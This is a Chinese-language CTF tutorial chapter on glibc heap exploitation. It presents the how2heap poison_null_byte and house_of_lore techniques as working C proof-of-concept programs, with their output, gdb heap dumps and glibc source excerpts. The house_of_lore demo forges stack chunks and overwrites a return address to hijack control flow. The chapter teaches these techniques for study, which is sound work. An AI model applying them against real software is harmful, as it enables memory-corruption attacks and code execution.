CTF-All-In-One/doc/3.1.7_heap_exploit_2.md
2018-08-05 17:43:10 +08:00

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3.1.7 Linux 堆利用(中)

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how2heap

poison_null_byte

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>

int main() {
    uint8_t *a, *b, *c, *b1, *b2, *d;

    a = (uint8_t*) malloc(0x10);
    int real_a_size = malloc_usable_size(a);
    fprintf(stderr, "We allocate 0x10 bytes for 'a': %p\n", a);
    fprintf(stderr, "'real' size of 'a': %#x\n", real_a_size);

    b = (uint8_t*) malloc(0x100);
    c = (uint8_t*) malloc(0x80);
    fprintf(stderr, "b: %p\n", b);
    fprintf(stderr, "c: %p\n", c);

    uint64_t* b_size_ptr = (uint64_t*)(b - 0x8);
    *(size_t*)(b+0xf0) = 0x100;
    fprintf(stderr, "b.size: %#lx ((0x100 + 0x10) | prev_in_use)\n\n", *b_size_ptr);

    // deal with tcache
    // int *k[10], i;
    // for (i = 0; i < 7; i++) {
    //     k[i] = malloc(0x100);
    // }
    // for (i = 0; i < 7; i++) {
    //     free(k[i]);
    // }
    free(b);
    uint64_t* c_prev_size_ptr = ((uint64_t*)c) - 2;
    fprintf(stderr, "After free(b), c.prev_size: %#lx\n", *c_prev_size_ptr);

    a[real_a_size] = 0; // <--- THIS IS THE "EXPLOITED BUG"
    fprintf(stderr, "We overflow 'a' with a single null byte into the metadata of 'b'\n");
    fprintf(stderr, "b.size: %#lx\n\n", *b_size_ptr);

    fprintf(stderr, "Pass the check: chunksize(P) == %#lx == %#lx == prev_size (next_chunk(P))\n", *((size_t*)(b-0x8)), *(size_t*)(b-0x10 + *((size_t*)(b-0x8))));
    b1 = malloc(0x80);
    memset(b1, 'A', 0x80);
    fprintf(stderr, "We malloc 'b1': %p\n", b1);
    fprintf(stderr, "c.prev_size: %#lx\n", *c_prev_size_ptr);
    fprintf(stderr, "fake c.prev_size: %#lx\n\n", *(((uint64_t*)c)-4));

    b2 = malloc(0x40);
    memset(b2, 'A', 0x40);
    fprintf(stderr, "We malloc 'b2', our 'victim' chunk: %p\n", b2);

    // deal with tcache
    // for (i = 0; i < 7; i++) {
    //     k[i] = malloc(0x80);
    // }
    // for (i = 0; i < 7; i++) {
    //     free(k[i]);
    // }
    free(b1);
    free(c);
    fprintf(stderr, "Now we free 'b1' and 'c', this will consolidate the chunks 'b1' and 'c' (forgetting about 'b2').\n");

    d = malloc(0x110);
    fprintf(stderr, "Finally, we allocate 'd', overlapping 'b2': %p\n\n", d);

    fprintf(stderr, "b2 content:%s\n", b2);
    memset(d, 'B', 0xb0);
    fprintf(stderr, "New b2 content:%s\n", b2);
}
$ gcc -g poison_null_byte.c
$ ./a.out
We allocate 0x10 bytes for 'a': 0xabb010
'real' size of 'a': 0x18
b: 0xabb030
c: 0xabb140
b.size: 0x111 ((0x100 + 0x10) | prev_in_use)

After free(b), c.prev_size: 0x110
We overflow 'a' with a single null byte into the metadata of 'b'
b.size: 0x100

Pass the check: chunksize(P) == 0x100 == 0x100 == prev_size (next_chunk(P))
We malloc 'b1': 0xabb030
c.prev_size: 0x110
fake c.prev_size: 0x70

We malloc 'b2', our 'victim' chunk: 0xabb0c0
Now we free 'b1' and 'c', this will consolidate the chunks 'b1' and 'c' (forgetting about 'b2').
Finally, we allocate 'd', overlapping 'b2': 0xabb030

b2 content:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
New b2 content:BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

该技术适用的场景需要某个 malloc 的内存区域存在一个单字节溢出漏洞。通过溢出下一个 chunk 的 size 字段,攻击者能够在堆中创造出重叠的内存块,从而达到改写其他数据的目的。再结合其他的利用方式,同样能够获得程序的控制权。

对于单字节溢出的利用有下面几种:

  • 扩展被释放块:当溢出块的下一块为被释放块且处于 unsorted bin 中,则通过溢出一个字节来将其大小扩大,下次取得次块时就意味着其后的块将被覆盖而造成进一步的溢出
  0x100   0x100    0x80
|-------|-------|-------|
|   A   |   B   |   C   |   初始状态
|-------|-------|-------|
|   A   |   B   |   C   |   释放 B
|-------|-------|-------|
|   A   |   B   |   C   |   溢出 B 的 size 为 0x180
|-------|-------|-------|
|   A   |   B   |   C   |   malloc(0x180-8)
|-------|-------|-------|   C 块被覆盖
        |<--实际得到的块->|
  • 扩展已分配块:当溢出块的下一块为使用中的块,则需要合理控制溢出的字节,使其被释放时的合并操作能够顺利进行,例如直接加上下一块的大小使其完全被覆盖。下一次分配对应大小时,即可取得已经被扩大的块,并造成进一步溢出
  0x100   0x100    0x80
|-------|-------|-------|
|   A   |   B   |   C   |   初始状态
|-------|-------|-------|
|   A   |   B   |   C   |   溢出 B 的 size 为 0x180
|-------|-------|-------|
|   A   |   B   |   C   |   释放 B
|-------|-------|-------|
|   A   |   B   |   C   |   malloc(0x180-8)
|-------|-------|-------|   C 块被覆盖
        |<--实际得到的块->|
  • 收缩被释放块:此情况针对溢出的字节只能为 0 的时候,也就是本节所说的 poison-null-byte此时将下一个被释放的块大小缩小如此一来在之后分裂此块时将无法正确更新后一块的 prev_size 字段,导致释放时出现重叠的堆块
  0x100     0x210     0x80
|-------|---------------|-------|
|   A   |       B       |   C   |   初始状态
|-------|---------------|-------|
|   A   |       B       |   C   |   释放 B
|-------|---------------|-------|
|   A   |       B       |   C   |   溢出 B 的 size 为 0x200
|-------|---------------|-------|   之后的 malloc 操作没有更新 C 的 prev_size
         0x100  0x80
|-------|------|-----|--|-------|
|   A   |  B1  | B2  |  |   C   |   malloc(0x180-8), malloc(0x80-8)
|-------|------|-----|--|-------|
|   A   |  B1  | B2  |  |   C   |   释放 B1
|-------|------|-----|--|-------|
|   A   |  B1  | B2  |  |   C   |   释放 CC 将与 B1 合并
|-------|------|-----|--|-------|  
|   A   |  B1  | B2  |  |   C   |   malloc(0x180-8)
|-------|------|-----|--|-------|   B2 将被覆盖
        |<实际得到的块>|
  • house of einherjar也是溢出字节只能为 0 的情况,当它是更新溢出块下一块的 prev_size 字段,使其在被释放时能够找到之前一个合法的被释放块并与其合并,造成堆块重叠
  0x100   0x100   0x101
|-------|-------|-------|
|   A   |   B   |   C   |   初始状态
|-------|-------|-------|
|   A   |   B   |   C   |   释放 A
|-------|-------|-------|
|   A   |   B   |   C   |   溢出 B覆盖 C 块的 size 为 0x200并使其 prev_size 为 0x200
|-------|-------|-------|
|   A   |   B   |   C   |   释放 C
|-------|-------|-------|
|   A   |   B   |   C   |   C 将与 A 合并
|-------|-------|-------|   B 块被重叠
|<-----实际得到的块------>|

首先分配三个 chunk第一个 chunk 类型无所谓,但后两个不能是 fast chunk因为 fast chunk 在释放后不会被合并。这里 chunk a 用于制造单字节溢出,去覆盖 chunk b 的第一个字节chunk c 的作用是帮助伪造 fake chunk。

首先是溢出,那么就需要知道一个堆块实际可用的内存大小(因为空间复用,可能会比分配时要大一点),用于获得该大小的函数 malloc_usable_size 如下:

/*
   ------------------------- malloc_usable_size -------------------------
 */
static size_t
musable (void *mem)
{
  mchunkptr p;
  if (mem != 0)
    {
      p = mem2chunk (mem);

      [...]
      if (chunk_is_mmapped (p))
        return chunksize (p) - 2 * SIZE_SZ;
      else if (inuse (p))
        return chunksize (p) - SIZE_SZ;
    }
  return 0;
}
/* check for mmap()'ed chunk */
#define chunk_is_mmapped(p) ((p)->size & IS_MMAPPED)
/* extract p's inuse bit */
#define inuse(p)							      \
  ((((mchunkptr) (((char *) (p)) + ((p)->size & ~SIZE_BITS)))->size) & PREV_INUSE)
/* Get size, ignoring use bits */
#define chunksize(p)         ((p)->size & ~(SIZE_BITS))

所以 real_a_size = chunksize(a) - 0x8 == 0x18。另外需要注意的是程序是通过 next chunk 的 PREV_INUSE 标志来判断某 chunk 是否被使用的。

为了在修改 chunk b 的 size 字段后,依然能通过 unlink 的检查,我们需要伪造一个 c.prev_size 字段,字段的大小是很好计算的,即 0x100 == (0x111 & 0xff00),正好是 NULL 字节溢出后的值。然后把 chunk b 释放掉chunk b 随后被放到 unsorted bin 中,大小是 0x110。此时的堆布局如下

gef➤  x/42gx a-0x10
0x603000:	0x0000000000000000	0x0000000000000021  <-- chunk a
0x603010:	0x0000000000000000	0x0000000000000000
0x603020:	0x0000000000000000	0x0000000000000111  <-- chunk b [be freed]
0x603030:	0x00007ffff7dd1b78	0x00007ffff7dd1b78      <-- fd, bk pointer
0x603040:	0x0000000000000000	0x0000000000000000
0x603050:	0x0000000000000000	0x0000000000000000
0x603060:	0x0000000000000000	0x0000000000000000
0x603070:	0x0000000000000000	0x0000000000000000
0x603080:	0x0000000000000000	0x0000000000000000
0x603090:	0x0000000000000000	0x0000000000000000
0x6030a0:	0x0000000000000000	0x0000000000000000
0x6030b0:	0x0000000000000000	0x0000000000000000
0x6030c0:	0x0000000000000000	0x0000000000000000
0x6030d0:	0x0000000000000000	0x0000000000000000
0x6030e0:	0x0000000000000000	0x0000000000000000
0x6030f0:	0x0000000000000000	0x0000000000000000
0x603100:	0x0000000000000000	0x0000000000000000
0x603110:	0x0000000000000000	0x0000000000000000
0x603120:	0x0000000000000100	0x0000000000000000      <-- fake c.prev_size
0x603130:	0x0000000000000110	0x0000000000000090  <-- chunk c
0x603140:	0x0000000000000000	0x0000000000000000
gef➤  heap bins unsorted
[ Unsorted Bin for arena 'main_arena' ]
[+] unsorted_bins[0]: fw=0x603020, bk=0x603020
 →   Chunk(addr=0x603030, size=0x110, flags=PREV_INUSE)

最关键的一步,通过溢出漏洞覆写 chunk b 的数据:

gef➤  x/42gx a-0x10
0x603000:	0x0000000000000000	0x0000000000000021  <-- chunk a
0x603010:	0x0000000000000000	0x0000000000000000
0x603020:	0x0000000000000000	0x0000000000000100  <-- chunk b [be freed]
0x603030:	0x00007ffff7dd1b78	0x00007ffff7dd1b78      <-- fd, bk pointer
0x603040:	0x0000000000000000	0x0000000000000000
0x603050:	0x0000000000000000	0x0000000000000000
0x603060:	0x0000000000000000	0x0000000000000000
0x603070:	0x0000000000000000	0x0000000000000000
0x603080:	0x0000000000000000	0x0000000000000000
0x603090:	0x0000000000000000	0x0000000000000000
0x6030a0:	0x0000000000000000	0x0000000000000000
0x6030b0:	0x0000000000000000	0x0000000000000000
0x6030c0:	0x0000000000000000	0x0000000000000000
0x6030d0:	0x0000000000000000	0x0000000000000000
0x6030e0:	0x0000000000000000	0x0000000000000000
0x6030f0:	0x0000000000000000	0x0000000000000000
0x603100:	0x0000000000000000	0x0000000000000000
0x603110:	0x0000000000000000	0x0000000000000000
0x603120:	0x0000000000000100	0x0000000000000000      <-- fake c.prev_size
0x603130:	0x0000000000000110	0x0000000000000090  <-- chunk c
0x603140:	0x0000000000000000	0x0000000000000000
gef➤  heap bins unsorted
[ Unsorted Bin for arena 'main_arena' ]
[+] unsorted_bins[0]: fw=0x603020, bk=0x603020
 →   Chunk(addr=0x603030, size=0x100, flags=)

这时,根据我们上一篇文字中讲到的计算方法:

  • chunksize(P) == *((size_t*)(b-0x8)) & (~ 0x7) == 0x100
  • prev_size (next_chunk(P)) == *(size_t*)(b-0x10 + 0x100) == 0x100

可以成功绕过检查。另外 unsorted bin 中的 chunk 大小也变成了 0x100。

接下来随意分配两个 chunkmalloc 会从 unsorted bin 中划出合适大小的内存返回给用户:

gef➤  x/42gx a-0x10
0x603000:	0x0000000000000000	0x0000000000000021  <-- chunk a
0x603010:	0x0000000000000000	0x0000000000000000
0x603020:	0x0000000000000000	0x0000000000000091  <-- chunk b1  <-- fake chunk b
0x603030:	0x4141414141414141	0x4141414141414141
0x603040:	0x4141414141414141	0x4141414141414141
0x603050:	0x4141414141414141	0x4141414141414141
0x603060:	0x4141414141414141	0x4141414141414141
0x603070:	0x4141414141414141	0x4141414141414141
0x603080:	0x4141414141414141	0x4141414141414141
0x603090:	0x4141414141414141	0x4141414141414141
0x6030a0:	0x4141414141414141	0x4141414141414141
0x6030b0:	0x0000000000000000	0x0000000000000051  <-- chunk b2  <-- 'victim' chunk
0x6030c0:	0x4141414141414141	0x4141414141414141
0x6030d0:	0x4141414141414141	0x4141414141414141
0x6030e0:	0x4141414141414141	0x4141414141414141
0x6030f0:	0x4141414141414141	0x4141414141414141
0x603100:	0x0000000000000000	0x0000000000000021  <-- unsorted bin
0x603110:	0x00007ffff7dd1b78	0x00007ffff7dd1b78      <-- fd, bk pointer
0x603120:	0x0000000000000020	0x0000000000000000      <-- fake c.prev_size
0x603130:	0x0000000000000110	0x0000000000000090  <-- chunk c
0x603140:	0x0000000000000000	0x0000000000000000
gef➤  heap bins unsorted
[ Unsorted Bin for arena 'main_arena' ]
[+] unsorted_bins[0]: fw=0x603100, bk=0x603100
 →   Chunk(addr=0x603110, size=0x20, flags=PREV_INUSE)

这里有个很有趣的东西,分配堆块后,发生变化的是 fake c.prev_size而不是 c.prev_size。所以 chunk c 依然认为 chunk b 的地方有一个大小为 0x110 的 free chunk。但其实这片内存已经被分配给了 chunk b1。

接下来是见证奇迹的时刻,我们知道,两个相邻的 small chunk 被释放后会被合并在一起。首先释放 chunk b1伪造出 fake chunk b 是 free chunk 的样子。然后释放 chunk c这时程序会发现 chunk c 的前一个 chunk 是一个 free chunk然后就将它们合并在了一起并从 unsorted bin 中取出来合并进了 top chunk。可怜的 chunk 2 位于 chunk b1 和 chunk c 之间,被直接无视了,现在 malloc 认为这整块区域都是未分配的,新的 top chunk 指针已经说明了一切。

gef➤  x/42gx a-0x10
0x603000:	0x0000000000000000	0x0000000000000021  <-- chunk a
0x603010:	0x0000000000000000	0x0000000000000000
0x603020:	0x0000000000000000	0x0000000000020fe1  <-- top chunk
0x603030:	0x0000000000603100	0x00007ffff7dd1b78
0x603040:	0x4141414141414141	0x4141414141414141
0x603050:	0x4141414141414141	0x4141414141414141
0x603060:	0x4141414141414141	0x4141414141414141
0x603070:	0x4141414141414141	0x4141414141414141
0x603080:	0x4141414141414141	0x4141414141414141
0x603090:	0x4141414141414141	0x4141414141414141
0x6030a0:	0x4141414141414141	0x4141414141414141
0x6030b0:	0x0000000000000090	0x0000000000000050  <-- chunk b2  <-- 'victim' chunk
0x6030c0:	0x4141414141414141	0x4141414141414141
0x6030d0:	0x4141414141414141	0x4141414141414141
0x6030e0:	0x4141414141414141	0x4141414141414141
0x6030f0:	0x4141414141414141	0x4141414141414141
0x603100:	0x0000000000000000	0x0000000000000021  <-- unsorted bin
0x603110:	0x00007ffff7dd1b78	0x00007ffff7dd1b78      <-- fd, bk pointer
0x603120:	0x0000000000000020	0x0000000000000000
0x603130:	0x0000000000000110	0x0000000000000090
0x603140:	0x0000000000000000	0x0000000000000000
gef➤  heap bins unsorted
[ Unsorted Bin for arena 'main_arena' ]
[+] unsorted_bins[0]: fw=0x603100, bk=0x603100
 →   Chunk(addr=0x603110, size=0x20, flags=PREV_INUSE)

chunk 合并的过程如下,首先该 chunk 与前一个 chunk 合并,然后检查下一个 chunk 是否为 top chunk如果不是将合并后的 chunk 放回 unsorted bin 中,否则,合并进 top chunk

    /* consolidate backward */
    if (!prev_inuse(p)) {
      prevsize = p->prev_size;
      size += prevsize;
      p = chunk_at_offset(p, -((long) prevsize));
      unlink(av, p, bck, fwd);
    }

    if (nextchunk != av->top) {
    /*
  Place the chunk in unsorted chunk list. Chunks are
  not placed into regular bins until after they have
  been given one chance to be used in malloc.
    */
      [...]
    }

    /*
      If the chunk borders the current high end of memory,
      consolidate into top
    */

    else {
      size += nextsize;
      set_head(p, size | PREV_INUSE);
      av->top = p;
      check_chunk(av, p);
    }

接下来,申请一块大空间,大到可以把 chunk b2 包含进来,这样 chunk b2 就完全被我们控制了。

gef➤  x/42gx a-0x10
0x603000:	0x0000000000000000	0x0000000000000021  <-- chunk a
0x603010:	0x0000000000000000	0x0000000000000000
0x603020:	0x0000000000000000	0x0000000000000121  <-- chunk d
0x603030:	0x4242424242424242	0x4242424242424242
0x603040:	0x4242424242424242	0x4242424242424242
0x603050:	0x4242424242424242	0x4242424242424242
0x603060:	0x4242424242424242	0x4242424242424242
0x603070:	0x4242424242424242	0x4242424242424242
0x603080:	0x4242424242424242	0x4242424242424242
0x603090:	0x4242424242424242	0x4242424242424242
0x6030a0:	0x4242424242424242	0x4242424242424242
0x6030b0:	0x4242424242424242	0x4242424242424242  <-- chunk b2  <-- 'victim' chunk
0x6030c0:	0x4242424242424242	0x4242424242424242
0x6030d0:	0x4242424242424242	0x4242424242424242
0x6030e0:	0x4141414141414141	0x4141414141414141
0x6030f0:	0x4141414141414141	0x4141414141414141
0x603100:	0x0000000000000000	0x0000000000000021  <-- small bins
0x603110:	0x00007ffff7dd1b88	0x00007ffff7dd1b88      <-- fd, bk pointer
0x603120:	0x0000000000000020	0x0000000000000000
0x603130:	0x0000000000000110	0x0000000000000090
0x603140:	0x0000000000000000	0x0000000000020ec1  <-- top chunk
gef➤  heap bins small
[ Small Bins for arena 'main_arena' ]
[+] small_bins[1]: fw=0x603100, bk=0x603100
 →   Chunk(addr=0x603110, size=0x20, flags=PREV_INUSE)

还有个事情值得注意,在分配 chunk d 时,由于在 unsorted bin 中没有找到适合的 chunkmalloc 就将 unsorted bin 中的 chunk 都整理回各自的 bins 中了,这里就是 small bins。

最后,继续看 libc-2.26 上的情况,还是一样的,处理好 tchache 就可以了,把两种大小的 tcache bin 都占满。

heap-buffer-overflow但不知道为什么加了内存检测参数后real size 只能是正常的 0x10 了。

$ gcc -fsanitize=address -g poison_null_byte.c
$ ./a.out
We allocate 0x10 bytes for 'a': 0x60200000eff0
'real' size of 'a': 0x10
b: 0x611000009f00
c: 0x60c00000bf80
=================================================================
==2369==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x611000009ef8 at pc 0x000000400be0 bp 0x7ffe7826e9a0 sp 0x7ffe7826e990
READ of size 8 at 0x611000009ef8 thread T0
    #0 0x400bdf in main /home/firmy/how2heap/poison_null_byte.c:22
    #1 0x7f47d8fe382f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
    #2 0x400978 in _start (/home/firmy/how2heap/a.out+0x400978)

0x611000009ef8 is located 8 bytes to the left of 256-byte region [0x611000009f00,0x61100000a000)
allocated by thread T0 here:
    #0 0x7f47d9425602 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x98602)
    #1 0x400af1 in main /home/firmy/how2heap/poison_null_byte.c:15
    #2 0x7f47d8fe382f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)

house_of_lore

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>

void jackpot(){ puts("Nice jump d00d"); exit(0); }

int main() {
    intptr_t *victim = malloc(0x80);
    memset(victim, 'A', 0x80);
    void *p5 = malloc(0x10);
    memset(p5, 'A', 0x10);
    intptr_t *victim_chunk = victim - 2;
    fprintf(stderr, "Allocated the victim (small) chunk: %p\n", victim);

    intptr_t* stack_buffer_1[4] = {0};
    intptr_t* stack_buffer_2[3] = {0};
    stack_buffer_1[0] = 0;
    stack_buffer_1[2] = victim_chunk;
    stack_buffer_1[3] = (intptr_t*)stack_buffer_2;
    stack_buffer_2[2] = (intptr_t*)stack_buffer_1;
    fprintf(stderr, "stack_buffer_1: %p\n", (void*)stack_buffer_1);
    fprintf(stderr, "stack_buffer_2: %p\n\n", (void*)stack_buffer_2);

    free((void*)victim);
    fprintf(stderr, "Freeing the victim chunk %p, it will be inserted in the unsorted bin\n", victim);
    fprintf(stderr, "victim->fd: %p\n", (void *)victim[0]);
    fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]);

    void *p2 = malloc(0x100);
    fprintf(stderr, "Malloc a chunk that can't be handled by the unsorted bin, nor the SmallBin: %p\n", p2);
    fprintf(stderr, "The victim chunk %p will be inserted in front of the SmallBin\n", victim);
    fprintf(stderr, "victim->fd: %p\n", (void *)victim[0]);
    fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]);

    victim[1] = (intptr_t)stack_buffer_1;
    fprintf(stderr, "Now emulating a vulnerability that can overwrite the victim->bk pointer\n");

    void *p3 = malloc(0x40);
    char *p4 = malloc(0x80);
    memset(p4, 'A', 0x10);
    fprintf(stderr, "This last malloc should return a chunk at the position injected in bin->bk: %p\n", p4);
    fprintf(stderr, "The fd pointer of stack_buffer_2 has changed: %p\n\n", stack_buffer_2[2]);

    intptr_t sc = (intptr_t)jackpot;
    memcpy((p4+40), &sc, 8);
}
$ gcc -g house_of_lore.c
$ ./a.out
Allocated the victim (small) chunk: 0x1b2e010
stack_buffer_1: 0x7ffe5c570350
stack_buffer_2: 0x7ffe5c570330

Freeing the victim chunk 0x1b2e010, it will be inserted in the unsorted bin
victim->fd: 0x7f239d4c9b78
victim->bk: 0x7f239d4c9b78

Malloc a chunk that can't be handled by the unsorted bin, nor the SmallBin: 0x1b2e0c0
The victim chunk 0x1b2e010 will be inserted in front of the SmallBin
victim->fd: 0x7f239d4c9bf8
victim->bk: 0x7f239d4c9bf8

Now emulating a vulnerability that can overwrite the victim->bk pointer
This last malloc should return a chunk at the position injected in bin->bk: 0x7ffe5c570360
The fd pointer of stack_buffer_2 has changed: 0x7f239d4c9bf8

Nice jump d00d

在前面的技术中,我们已经知道怎样去伪造一个 fake chunk接下来我们要尝试伪造一条 small bins 链。

首先创建两个 chunk第一个是我们的 victim chunk请确保它是一个 small chunk第二个随意只是为了确保在 free 时 victim chunk 不会被合并进 top chunk 里。然后,在栈上伪造两个 fake chunk让 fake chunk 1 的 fd 指向 victim chunkbk 指向 fake chunk 2fake chunk 2 的 fd 指向 fake chunk 1这样一个 small bin 链就差不多了:

gef➤  x/26gx victim-2
0x603000:	0x0000000000000000	0x0000000000000091  <-- victim chunk
0x603010:	0x4141414141414141	0x4141414141414141
0x603020:	0x4141414141414141	0x4141414141414141
0x603030:	0x4141414141414141	0x4141414141414141
0x603040:	0x4141414141414141	0x4141414141414141
0x603050:	0x4141414141414141	0x4141414141414141
0x603060:	0x4141414141414141	0x4141414141414141
0x603070:	0x4141414141414141	0x4141414141414141
0x603080:	0x4141414141414141	0x4141414141414141
0x603090:	0x0000000000000000	0x0000000000000021  <-- chunk p5
0x6030a0:	0x4141414141414141	0x4141414141414141
0x6030b0:	0x0000000000000000	0x0000000000020f51  <-- top chunk
0x6030c0:	0x0000000000000000	0x0000000000000000
gef➤  x/10gx &stack_buffer_2
0x7fffffffdc30:	0x0000000000000000	0x0000000000000000  <-- fake chunk 2
0x7fffffffdc40:	0x00007fffffffdc50	0x0000000000400aed      <-- fd->fake chunk 1
0x7fffffffdc50:	0x0000000000000000	0x0000000000000000  <-- fake chunk 1
0x7fffffffdc60:	0x0000000000603000	0x00007fffffffdc30      <-- fd->victim chunk, bk->fake chunk 2
0x7fffffffdc70:	0x00007fffffffdd60	0x7c008088c400bc00

molloc 中对于 small bin 链表的检查是这样的:

          [...]

          else
            {
              bck = victim->bk;
	if (__glibc_unlikely (bck->fd != victim))
                {
                  errstr = "malloc(): smallbin double linked list corrupted";
                  goto errout;
                }
              set_inuse_bit_at_offset (victim, nb);
              bin->bk = bck;
              bck->fd = bin;

              [...]

即检查 bin 中第二块的 bk 指针是否指向第一块,来发现对 small bins 的破坏。为了绕过这个检查,所以才需要同时伪造 bin 中的前 2 个 chunk。

接下来释放掉 victim chunk它会被放到 unsoted bin 中,且 fd/bk 均指向 unsorted bin 的头部:

gef➤  x/26gx victim-2
0x603000:	0x0000000000000000	0x0000000000000091  <-- victim chunk [be freed]
0x603010:	0x00007ffff7dd1b78	0x00007ffff7dd1b78      <-- fd, bk pointer
0x603020:	0x4141414141414141	0x4141414141414141
0x603030:	0x4141414141414141	0x4141414141414141
0x603040:	0x4141414141414141	0x4141414141414141
0x603050:	0x4141414141414141	0x4141414141414141
0x603060:	0x4141414141414141	0x4141414141414141
0x603070:	0x4141414141414141	0x4141414141414141
0x603080:	0x4141414141414141	0x4141414141414141
0x603090:	0x0000000000000090	0x0000000000000020  <-- chunk p5
0x6030a0:	0x4141414141414141	0x4141414141414141
0x6030b0:	0x0000000000000000	0x0000000000020f51  <-- top chunk
0x6030c0:	0x0000000000000000	0x0000000000000000
gef➤  heap bins unsorted
[ Unsorted Bin for arena 'main_arena' ]
[+] unsorted_bins[0]: fw=0x603000, bk=0x603000
 →   Chunk(addr=0x603010, size=0x90, flags=PREV_INUSE)

这时,申请一块大的 chunk只需要大到让 malloc 在 unsorted bin 中找不到合适的就可以了。这样原本在 unsorted bin 中的 chunk会被整理回各自的所属的 bins 中,这里就是 small bins

gef➤  heap bins small
[ Small Bins for arena 'main_arena' ]
[+] small_bins[8]: fw=0x603000, bk=0x603000
 →   Chunk(addr=0x603010, size=0x90, flags=PREV_INUSE)

接下来是最关键的一步,假设存在一个漏洞,可以让我们修改 victim chunk 的 bk 指针。那么就修改 bk 让它指向我们在栈上布置的 fake small bin

gef➤  x/26gx victim-2
0x603000:	0x0000000000000000	0x0000000000000091  <-- victim chunk [be freed]
0x603010:	0x00007ffff7dd1bf8	0x00007fffffffdc50      <-- bk->fake chunk 1
0x603020:	0x4141414141414141	0x4141414141414141
0x603030:	0x4141414141414141	0x4141414141414141
0x603040:	0x4141414141414141	0x4141414141414141
0x603050:	0x4141414141414141	0x4141414141414141
0x603060:	0x4141414141414141	0x4141414141414141
0x603070:	0x4141414141414141	0x4141414141414141
0x603080:	0x4141414141414141	0x4141414141414141
0x603090:	0x0000000000000090	0x0000000000000020  <-- chunk p5
0x6030a0:	0x4141414141414141	0x4141414141414141
0x6030b0:	0x0000000000000000	0x0000000000000111  <-- chunk p2
0x6030c0:	0x0000000000000000	0x0000000000000000
gef➤  x/10gx &stack_buffer_2
0x7fffffffdc30:	0x0000000000000000	0x0000000000000000  <-- fake chunk 2
0x7fffffffdc40:	0x00007fffffffdc50	0x0000000000400aed      <-- fd->fake chunk 1
0x7fffffffdc50:	0x0000000000000000	0x0000000000000000  <-- fake chunk 1
0x7fffffffdc60:	0x0000000000603000	0x00007fffffffdc30     <-- fd->victim chunk, bk->fake chunk 2
0x7fffffffdc70:	0x00007fffffffdd60	0x7c008088c400bc00

我们知道 small bins 是先进后出的,节点的增加发生在链表头部,而删除发生在尾部。这时整条链是这样的:

HEAD(undefined) <-> fake chunk 2 <-> fake chunk 1 <-> victim chunk <-> TAIL

fd: ->
bk: <-

fake chunk 2 的 bk 指向了一个未定义的地址,如果能通过内存泄露等手段,拿到 HEAD 的地址并填进去,整条链就闭合了。当然这里完全没有必要这么做。

接下来的第一个 malloc会返回 victim chunk 的地址,如果 malloc 的大小正好等于 victim chunk 的大小那么情况会简单一点。但是这里我们不这样做malloc 一个小一点的地址可以看到malloc 从 small bin 里取出了末尾的 victim chunk切了一块返回给 chunk p3然后把剩下的部分放回到了 unsorted bin。同时 small bin 变成了这样:

HEAD(undefined) <-> fake chunk 2 <-> fake chunk 1 <-> TAIL
gef➤  x/26gx victim-2
0x603000:	0x0000000000000000	0x0000000000000051  <-- chunk p3
0x603010:	0x00007ffff7dd1bf8	0x00007fffffffdc50
0x603020:	0x4141414141414141	0x4141414141414141
0x603030:	0x4141414141414141	0x4141414141414141
0x603040:	0x4141414141414141	0x4141414141414141
0x603050:	0x4141414141414141	0x0000000000000041  <-- unsorted bin
0x603060:	0x00007ffff7dd1b78	0x00007ffff7dd1b78      <-- fd, bk pointer
0x603070:	0x4141414141414141	0x4141414141414141
0x603080:	0x4141414141414141	0x4141414141414141
0x603090:	0x0000000000000040	0x0000000000000020  <-- chunk p5
0x6030a0:	0x4141414141414141	0x4141414141414141
0x6030b0:	0x0000000000000000	0x0000000000000111  <-- chunk p2
0x6030c0:	0x0000000000000000	0x0000000000000000
gef➤  x/10gx &stack_buffer_2
0x7fffffffdc30:	0x0000000000000000	0x0000000000000000  <-- fake chunk 2
0x7fffffffdc40:	0x00007fffffffdc50	0x0000000000400aed      <-- fd->fake chunk 1
0x7fffffffdc50:	0x0000000000000000	0x0000000000000000  <-- fake chunk 1
0x7fffffffdc60:	0x00007ffff7dd1bf8	0x00007fffffffdc30      <-- fd->TAIL, bk->fake chunk 2
0x7fffffffdc70:	0x00007fffffffdd60	0x7c008088c400bc00
gef➤  heap bins unsorted
[ Unsorted Bin for arena 'main_arena' ]
[+] unsorted_bins[0]: fw=0x603050, bk=0x603050
 →   Chunk(addr=0x603060, size=0x40, flags=PREV_INUSE)

最后,再次 malloc 将返回 fake chunk 1 的地址,地址在栈上且我们能够控制。同时 small bin 变成这样:

HEAD(undefined) <-> fake chunk 2 <-> TAIL
gef➤  x/10gx &stack_buffer_2
0x7fffffffdc30:	0x0000000000000000	0x0000000000000000  <-- fake chunk 2
0x7fffffffdc40:	0x00007ffff7dd1bf8	0x0000000000400aed      <-- fd->TAIL
0x7fffffffdc50:	0x0000000000000000	0x0000000000000000  <-- chunk 4
0x7fffffffdc60:	0x4141414141414141	0x4141414141414141
0x7fffffffdc70:	0x00007fffffffdd60	0x7c008088c400bc00

于是我们就成功地骗过了 malloc 在栈上分配了一个 chunk。

最后再想一下,其实最初的 victim chunk 使用 fast chunk 也是可以的,其释放后虽然是被加入到 fast bins 中,而不是 unsorted bin但 malloc 之后,也会被整理到 small bins 里。自行尝试吧。

heap-use-after-free所以上面我们用于修改 bk 指针的漏洞,应该就是一个 UAF 吧,当然溢出也是可以的:

$ gcc -fsanitize=address -g house_of_lore.c
$ ./a.out
Allocated the victim (small) chunk: 0x60c00000bf80
stack_buffer_1: 0x7ffd1fbc5cd0
stack_buffer_2: 0x7ffd1fbc5c90

Freeing the victim chunk 0x60c00000bf80, it will be inserted in the unsorted bin
=================================================================
